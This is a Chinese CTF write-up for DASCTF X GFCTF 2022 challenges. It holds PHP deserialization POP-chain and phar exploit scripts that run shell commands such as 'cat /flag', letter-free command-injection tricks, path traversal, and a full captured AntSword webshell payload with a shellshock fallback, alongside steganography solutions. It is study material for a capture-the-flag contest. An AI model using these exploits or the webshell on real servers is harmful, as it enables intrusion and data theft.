DASCTF X GFCTF 2022十月挑战赛

DASCTF X GFCTF 2022十月挑战赛(复现)

WEB

EasyPop

POP利用链,查看题目源码:

<?php
highlight_file(__FILE__);
error_reporting(0);
class fine

private $cmd;
private $content;
public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}
public function __invoke()
{
call_user_func($this->cmd, $this->content);
}
public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}
class show
{
public $ctf;
public $time = "Two and a half years";
public function __construct($ctf)
{
$this->ctf = $ctf;
}
public function __toString()
{
return $this->ctf->show();
}
public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}
}
class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;
public function __construct($name, $password)
{
$this->name = $name;
$this->password = $password;
}
public function __sleep()
{
$this->hint = new secret_code();
}
public function __get($name)
{
$name = $this->key;
$name();
}
public function __destruct()
{
if ($this->password == $this->name) {

echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}
public function getPassword()
{
return $this->password;
}
public function setPassword($password): void
{
$this->password = $password;
}
}
class secret_code
{
protected $code;
public static function secret()
{
include_once "hint.php";
hint();
}
public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}
private function show()
{
return $this->code->secret;
}
}
if (isset($_GET['pop'])) {
$a = unserialize($_GET['pop']);
$a->setPassword(md5(mt_rand()));
} else {
$a = new show("Ctfer");
echo $a->show();
} ?>

审计代码,POP链的开端为echo $this->hint;最终利用点为call_user_func($this->cmd, $this->content);

$this->hint;```下一步要到```__toString()```,即```show```类;```__toString()```中调用了`show()`函数,明显是`secret_code`类中的`show()`函数

```php
sorry::__destruct()->show::__toString()->secret_code::__call()->secret_code::show()->sorry::__get()->fine::__invoke()

该题目还有php弱比较的知识点,以及绕过__wakeup()函数知识点,题目质量很高!

exp:

<?php
//highlight_file(__FILE__);
//error_reporting(0);

class fine
{
private $cmd;
private $content;

public function __construct($cmd, $content)
{
$this->cmd = $cmd;
$this->content = $content;
}

public function __invoke()
{
call_user_func($this->cmd, $this->content);
}

public function __wakeup()
{
$this->cmd = "";
die("Go listen to Jay Chou's secret-code! Really nice");
}
}

class show
{
public $ctf;
public $time = "Two and a half years";

public function __construct($ctf)
{
$this->ctf = $ctf;
}


public function __toString()
{
return $this->ctf->show();
}

public function show(): string
{
return $this->ctf . ": Duration of practice: " . $this->time;
}


}

class sorry
{
private $name;
private $password;
public $hint = "hint is depend on you";
public $key;

public function __construct($name, $password,$key, $hint)
{
$this->key = $key;
$this->hint = $hint;
$this->name = $name;
$this->password = $password;
}

// public function __sleep()
// {
// $this->hint = new secret_code();
// }

public function __get($name)
{
$name = $this->key;
$name();
}


public function __destruct()
{
if ($this->password == $this->name) {

echo $this->hint;
} else if ($this->name = "jay") {
secret_code::secret();
} else {
echo "This is our code";
}
}


public function getPassword()
{
return $this->password;
}

public function setPassword($password): void
{
$this->password = $password;
}


}

class secret_code
{
protected $code;

public function __construct($code){
$this->code = $code;
}

public static function secret()
{
//include_once "hint.php";
//hint();
;
}

public function __call($name, $arguments)
{
$num = $name;
$this->$num();
}

private function show()
{
return $this->code->secret;
}
}
$a = new sorry(true,'1',"","");
$a->hint = new show(new secret_code(new sorry("1","1",new fine("system","cat /flag"),"")));
$content = serialize($a);
$content = str_replace('fine":2','fine":3',$content);

echo(urlencode($content))
?>
image-20230126005459373

hade_waibo

题目中有文件上传、文件读取功能,文件读取存在路径穿越,能读取任意文件,因此将题目源码全部都出,在文件读取的图片内容处能看到base64加密的内容

//file.php
<!DOCTYPE html>
<html lang="en" class="no-js">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>login</title>
<link rel="stylesheet" type="text/css" href="css/button.css" />
<link rel="stylesheet" type="text/css" href="css/button.min.css" />
<link rel="stylesheet" type="text/css" href="css/input.css" />
<style>
.show{
text-align:center;
margin-left:auto;
margin-right:auto;
margin-top:240px;
}
.run{
text-align:right;
margin-left:auto;
margin-right:auto;
}

</style>
</head>
<body>
<div class="run">
<div class="ui animated button" tabindex="0" onclick="window.location.href='file.php?m=logout'">
<div class="hidden content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">润!</font>
</font>
</div>
<div class="visible content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">🏃</font>
</font>
</div>
</div>
</div>
<div class="show">



<?php
error_reporting(0);
session_start();
include 'class.php';

if($_SESSION['isLogin'] !== true){
die("<script>alert('号登一下谢谢。');location.href='index.php'</script>");
}
$form = '
<form action="file.php?m=upload" method="post" enctype="multipart/form-data" >
<input type="file" name="file">
<button class="mini ui button" ><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">
提交
</font></font></button>
</form>';



$file = new file();
switch ($_GET['m']) {

case 'upload':
if(empty($_FILES)){die($form);}

$type = end(explode(".", $_FILES['file']['name']));
if ($file->check($type)) {
die($file->upload($type));
}else{
die('你食不食油饼🤬');
}
break;

case 'show':
die($file->show($_GET['filename']));
break;

case 'rm':
$file->rmfile();
die("全删干净了捏😋");
break;

case 'logout':
session_destroy();
die("<script>alert('已退出登录');location.href='index.php'</script>");
break;

default:
echo '<h2>Halo! '.$_SESSION['username'].'</h2>';
break;
}
?>



<div class="ui animated button" tabindex="0" onclick="window.location.href='file.php?m=upload'">
<div class="visible content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">来点😍图</font>
</font>
</div>
<div class="hidden content">
<font style="vertical-align: inherit;">🥵</font>
</font>
</div>
</div>

<div class="ui vertical animated button" tabindex="0" onclick="window.location.href='file.php?m=rm'">
<div class="hidden content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">销毁证据</font>
</font>
</div>
<div class="visible content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">🧹</font>
</font>
</div>
</div>

<div class="ui animated fade button" tabindex="0" onclick="window.location.href='file.php?m=show'">
<div class="visible content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">cancan need</font>
</font>
</div>
<div class="hidden content">
<font style="vertical-align: inherit;">
<font style="vertical-align: inherit;">👀</font>
</font>
</div>
</div>
<script src="js/package.js"></script>
</div>
</body>
</html>
//index.php

<!DOCTYPE html>
<html lang="en" class="no-js">
<head>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>login</title>
<link rel="stylesheet" type="text/css" href="css/button.css" />
<link rel="stylesheet" type="text/css" href="css/button.min.css" />
<link rel="stylesheet" type="text/css" href="css/input.css" />
<style>
body{
text-align:center;
margin-left:auto;
margin-right:auto;
margin-top:300px;
}

</style>
</head>
<body>

<?php
error_reporting(0);
session_start();
include 'class.php';

if(isset($_POST['username']) && $_POST['username']!=''){
#修复了登录还需要passwd的漏洞
$user = new User($_POST['username']);
}

if($_SESSION['isLogin']){
die("<script>alert('Login success!');location.href='file.php'</script>");
}else{
die('
<form action="index.php" method="post">
<div class="ui input">
<input type="text" name="username" placeholder="Give me uname" maxlength="6">
</div>
<form>');
}
//class.php
<?php
class User
{
public $username;
public function __construct($username){
$this->username = $username;
$_SESSION['isLogin'] = True;
$_SESSION['username'] = $username;
}
public function __wakeup(){
$cklen = strlen($_SESSION["username"]);
if ($cklen != 0 and $cklen <= 6) {
$this->username = $_SESSION["username"];
}
}
public function __destruct(){
if ($this->username == '') {
session_destroy();
}
}
}

class File
{
#更新黑名单为白名单,更加的安全
public $white = array("jpg","png");

public function show($filename){
echo '<div class="ui action input"><input type="text" id="filename" placeholder="Search..."><button class="ui button" onclick="window.location.href=\'file.php?m=show&filename=\'+document.getElementById(\'filename\').value">Search</button></div><p>';
if(empty($filename)){die();}
return '<img src="data:image/png;base64,'.base64_encode(file_get_contents($filename)).'" />';
}
public function upload($type){
$filename = "dasctf".md5(time().$_FILES["file"]["name"]).".$type";
move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename);
return "Upload success! Path: upload/" . $filename;
}
public function rmfile(){
system('rm -rf /var/www/html/upload/*');
}
public function check($type){
if (!in_array($type,$this->white)){
return false;
}
return true;
}

}

#更新了一个恶意又有趣的Test类
class Test
{
public $value;

public function __destruct(){
chdir('./upload');
$this->backdoor();
}
public function __wakeup(){
$this->value = "Don't make dream.Wake up plz!";
}
public function __toString(){
$file = substr($_GET['file'],0,3);
file_put_contents($file, "Hack by $file !");
return 'Unreachable! :)';
}
public function backdoor(){
if(preg_match('/[A-Za-z0-9?$@]+/', $this->value)){
$this->value = 'nono~';
}
system($this->value);
}

}

阅读源码,能发现Test类中的backdoor方法能进行利用,__destruct()方法中能进行调用。if ($this->username == '')能触发__toString()方法

有文件上传,文件读取,以及白名单过滤,所以可以考虑phar反序列化

Test类中的value值要求能受控制,而能控制的值只有User类中的username的值,而且,value的值在__wakeup()中发生了改变,所以要绕过,通常的修改属性数量的方法在phar文件中不容易实现(需要重新计算签名),所以使用引用的方法绕过,即让value的值指向username的地址值。

最后就是system()函数的利用,过滤了数字与字母,绕过的方法也有挺多,先写第一种:

system(. ./*)

首先了解bash指令中.的作用,简单来讲.相当于source指令,可以将一个文件内的内容当成bash指令进行执行。

于是利用的想法为,上传一个内容为:

#!/bin/bash
ls /

jpg文件

image-20230210021212118

然后使用phar反序列化执行system()函数,value的值就是用户名,即注册的名字就使用. ./*

phar文件的制作:

<?php
class User{
public $username;
}
class Test
{
public $value;

}
$b=new User();
$a=new Test();
$b->username=new Test();
$b->aaa=$a;
$a->value=&$b->username;
$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

注意:要将$a的值赋给$b的一个不存在的属性,这样子value的引用才能成功,不然序列化后value的值为N,而不是R

将得到的phar文件改后缀为jpg上传

image-20230210021445192

最后使用phar伪协议读取返回的phar文件的路径

image-20230210021619182

修改jpg中的指令就可以读取flag文件

下面写第二种,也是官方wp中的方法(官方wp写的太简单了,很多细节都没有写出来):

system(* /*)

*号作用是获取当前目录文件名作为指令的。所以要写一个名字为cat的文件,__toString()方法中能通过file参数设定文件名进行写文件

想要触发__toString(),就要用到User类的__destruct()的判断,但是User类的__wakeup()中会改变username的值,所以要绕过if条件,即抓包将username改成数组再传参

接着就是触发backdoor()方法(方法同上)

首先是注册用户,并且将名字改成数组

image-20230210221623516

接着,制作phar文件,exp如下(官方给的exp):

<?php
class User
{
public $username;
}
class Test
{
public $value;
}
$User = new User();
$Test = new Test();
$Test->a = $User;
$User->username = $Test;
echo serialize($Test);#第⼀步,需要把名字改成数组
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','test');
$phar->setMetadata($Test);//第⼀步
$phar->stopBuffering();

然后将得到的phar改成jpg后缀,上传,然后在搜索框使用phar伪协议读取,并且附上file=cat参数

image-20230210222000411
image-20230210222125867

下一步注销用户,在注册一个名为* /*的用户,根据第二条反序列化链,制作phar文件

exp:

<?php
class User
{
public $username;
}
class Test
{
public $value;
}
$User = new User();
$Test = new Test();

$User->a = $Test;
$User->username = &$Test->value;
echo serialize($User);#第⼆步,需要把name改成* /*
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>");
$phar-> addFromString('test.txt','test');
$phar->setMetadata($User);
$phar->stopBuffering();

改后缀后上传,再使用伪协议读取

image-20230210222519499

非预期:

直接读取../../../../../../../../../../../start.sh,能看到flag文件的文件名,直接读取

MISC

滴滴图

给出的文件有一张图片和加密的压缩包,首先使用winhex查看图片数据,在末端有Unicode编码,还有一个2.png的字段,可能需要进行文件分离,使用binwalk分离

image-20230126225944573
binwalk -e honest_dog.jpg

得到下面几个文件:

image-20230126230049010

unicode解码为:this_is_paSS,成功打开23FCBF.zip,里面又有一张png图片,直接拿去爆破图片高度宽度

image-20230126230226187

到winhex中修改高度,得到图片:

成功打开一开始的压缩包,得到一段音频,直接拖到Audacity中查看:

image-20230126230527687

大概率是morse密码,但是分了左右声道,两个分开解出来:

左声道是:746F5F62655F6374666572

右声道是:BM9FBM9FBM9FBM9FBM9FBM9FBM8F

左声道直接hex转utf-8得到to_be_ctfer,右声道无意义,flag为DASCTF{to_be_ctfer}

poi?qoi!

没见过的文件,搜一下qoi:这个文章有相关内容

“其中结束串由 7 个 0 和 1 个 1 (共 8 个字节)组成 ”

image-20230219140204787

可以确定是qoi格式的图像,找个网站解码一下:qoi解码

得到一张二维码:

但是扫出来是假的,wp说还有一个lsb,直接开StegSolve,在Gray bits发现不一样的二维码,直接扫就出来了

image-20230219140846591

DASCTF{Y0u_f1nd_re4l_QR_Cod3_w0W}

easy_xxd

拿到文件是流量包分析,先列出流量文件

image-20230220002004321

flag.txtmaybe_today.zip两个文件导出来,再去查看shell.php的流量信息(根据上图的分组号去看),能发现是蚁剑的流量,重点是最后的shell.php的流量内容

POST /shell.php HTTP/1.1
Host: 192.168.153.128
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.1 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Content-Length: 4946
Connection: close

g0f49a7f453a2e=wdY2QgIi93d3cvYWRtaW4vbG9jYWxob3N0XzgwL3d3d3Jvb3QiO3h4ZCAtcyAweDA4IC1wIC93d3cvYWRtaW4vbG9jYWxob3N0XzgwL3d3d3Jvb3QvTWlrdS5wbmd8YmFzZTY0PmZsYWcudHh0O2VjaG8gMzFhODM7cHdkO2VjaG8gMjk5ZWNkNWNkYg==&s2f57bf194897a=zdL2Jpbi9zaA==&shell=@ini_set("display_errors", "0");@set_time_limit(0);$opdir=@ini_get("open_basedir");if($opdir) {$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);$oparr=preg_split("/;|:/",$opdir);@array_push($oparr,$ocwd,sys_get_temp_dir());foreach($oparr as $item) {if(!@is_writable($item)){continue;};$tmdir=$item."/.722722";@mkdir($tmdir);if(!@file_exists($tmdir)){continue;}@chdir($tmdir);@ini_set("open_basedir", "..");$cntarr=@preg_split("/\\\\|\//",$tmdir);for($i=0;$i<sizeof($cntarr);$i++){@chdir("..");};@ini_set("open_basedir","/");@rmdir($tmdir);break;};};;function asenc($out){return $out;};function asoutput(){$output=ob_get_contents();ob_end_clean();echo "6d"."fcb";echo @asenc($output);echo "8c2"."fa8";}ob_start();try{$p=base64_decode(substr($_POST["s2f57bf194897a"],2));$s=base64_decode(substr($_POST["g0f49a7f453a2e"],2));$envstr=@base64_decode(substr($_POST["v09c646ce6cb4a"],2));$d=dirname($_SERVER["SCRIPT_FILENAME"]);$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";if(substr($d,0,1)=="/"){@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");}else{@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");}if(!empty($envstr)){$envarr=explode("|||asline|||", $envstr);foreach($envarr as $v) {if (!empty($v)) {@putenv(str_replace("|||askey|||", "=", $v));}}}$r="{$p} {$c}";function fe($f){$d=explode(",",@ini_get("disable_functions"));if(empty($d)){$d=array();}else{$d=array_map('trim',array_map('strtolower',$d));}return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));};function runshellshock($d, $c) {if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {if (strstr(readlink("/bin/sh"), "bash") != FALSE) {$tmp = tempnam(sys_get_temp_dir(), 'as');putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");if (fe('error_log')) {error_log("a", 1);} else {mail("a@127.0.0.1", "", "", "-bv");}} else {return False;}$output = @file_get_contents($tmp);@unlink($tmp);if ($output != "") {print($output);return True;}}return False;};function runcmd($c){$ret=0;$d=dirname($_SERVER["SCRIPT_FILENAME"]);if(fe('system')){@system($c,$ret);}elseif(fe('passthru')){@passthru($c,$ret);}elseif(fe('shell_exec')){print(@shell_exec($c));}elseif(fe('exec')){@exec($c,$o,$ret);print(join("
",$o));}elseif(fe('popen')){$fp=@popen($c,'r');while(!@feof($fp)){print(@fgets($fp,2048));}@pclose($fp);}elseif(fe('proc_open')){$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);while(!@feof($io[1])){print(@fgets($io[1],2048));}while(!@feof($io[2])){print(@fgets($io[2],2048));}@fclose($io[1]);@fclose($io[2]);@proc_close($p);}elseif(fe('antsystem')){@antsystem($c);}elseif(runshellshock($d, $c)) {return $ret;}elseif(substr($d,0,1)!="/" && @class_exists("COM")){$w=new COM('WScript.shell');$e=$w->exec($c);$so=$e->StdOut();$ret.=$so->ReadAll();$se=$e->StdErr();$ret.=$se->ReadAll();print($ret);}else{$ret = 127;}return $ret;};$ret=@runcmd($r." 2>&1");print ($ret!=0)?"ret={$ret}":"";;}catch(Exception $e){echo "ERROR://".$e->getMessage();};asoutput();die();&v09c646ce6cb4a=LI

注意:要仔细看shell的内容,命令执行是经过bs64加密的但是不是全部都是,而是要去除前两个字符再bs64解密,即

$s=base64_decode(substr($_POST["g0f49a7f453a2e"],2));

所以将wdY2QgIi93d3cvYWRtaW4vbG9jYWxob3N0XzgwL3d3d3Jvb3QiO3h4ZCAtcyAweDA4IC1wIC93d3cvYWRtaW4vbG9jYWxob3N0XzgwL3d3d3Jvb3QvTWlrdS5wbmd8YmFzZTY0PmZsYWcudHh0O2VjaG8gMzFhODM7cHdkO2VjaG8gMjk5ZWNkNWNkYg==这一串去掉前两个字符再bs64解密

得到:

cd "/www/admin/localhost_80/wwwroot";xxd -s 0x08 -p /www/admin/localhost_80/wwwroot/Miku.png|base64>flag.txt;echo 31a83;pwd;echo 299ecd5cdb

检索可知,xxd命令能将一个给定文件或标准输入转换为十六进制形式,也能将十六进制转换回二进制形式,-s是偏移量,png文件的头8位十六进制是固定的89 50 4E 47 0D 0A 1A 0A,所以flag.txt的内容是png文件的16进制经过bs64加密后的内容

用脚本解密,并且拼上头8位,还原图片

import base64

f = open("flag1.txt", 'r')
content = f.readlines()
f.close()
tmp = open("temp.txt", 'wb+')
tmp.write(b'89504E470D0A1A0A')
for i in content:
line_content = base64.b64decode(i).replace(b'\n', b'')
tmp.write(line_content)
tmp.close()
tmp = open("temp.txt",'r')
f_png = open("flag.png", "wb+")
f_png.write(bytes.fromhex(tmp.read()))
tmp.close()
f_png.close()

生成指令中指出是MiKu.png,而在流量里导出的压缩包里也有一张MiKu.png,可以尝试明文攻击(通过bs64解出来的图片要经过多种压缩软件的尝试来进行攻击,最后是bandzip才符合):

image-20230222131949678

解出后打开压缩包,flag文件夹里面的几个文件是MySQL数据库的数据文件,将四个文件复制粘贴到MySQL的数据文件夹里面,然后打开MySQL查询就能查看

image-20230222232358711
image-20230222232442484

拿去解base64后发现16进制数据是50 4B 03 04开头,可能是zip文件,用winhex将16进制数据保存为压缩包

image-20230222232646621

需要密码才能打开,又在js文件夹里面的SceneManager.js文件中发现

// game.ctx.fillText("Secret-key: sWxSAnweQIES46L");

成解开压缩包,打开里面的flag.txt,将里面的内容用兽音译者+base64+hex解码得到flag

dasctf{l0ve_you_want_l0ve}